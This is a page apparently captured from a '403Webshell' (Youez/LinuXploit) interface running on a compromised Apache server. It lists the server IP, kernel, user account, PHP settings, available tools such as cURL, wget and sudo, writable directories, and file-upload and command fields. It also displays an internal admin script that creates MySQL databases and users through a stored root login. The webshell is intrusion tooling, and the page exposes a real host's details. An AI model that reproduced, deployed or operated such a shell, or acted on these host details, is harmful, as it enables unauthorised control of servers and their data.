403Webshell
Server IP : 138.197.107.151  /  Your IP : 216.73.217.7
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux BloxBy-Builder 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : wpbetasites_mrakzqskir ( 1022)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/bloxbycommands/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/bloxbycommands/create_mysql_user_db.sh
#!/bin/bash

# Usage: ./create_mysql_user_db.sh <db_name> <db_user> <db_pass>

DB_NAME="$1"
DB_USER="$2"
DB_PASS="$3"

if [ "$#" -ne 3 ]; then
    echo "Usage: $0 <db_name> <db_user> <db_pass>"
    exit 1
fi

# Using stored login path from mysql_config_editor
mysql --login-path=localroot <<EOF
-- Create database if not exists
CREATE DATABASE IF NOT EXISTS \`$DB_NAME\`;

-- Create user if not exists
CREATE USER IF NOT EXISTS '$DB_USER'@'localhost' IDENTIFIED BY '$DB_PASS';

-- Grant limited permissions on the database
GRANT SELECT, INSERT, UPDATE, DELETE, CREATE ON \`$DB_NAME\`.* TO '$DB_USER'@'localhost';

-- Apply privileges
FLUSH PRIVILEGES;
EOF

echo "✅ Database '$DB_NAME' and user '$DB_USER' created with limited permissions."


Youez - 2016 - github.com/yon3zu
LinuXploit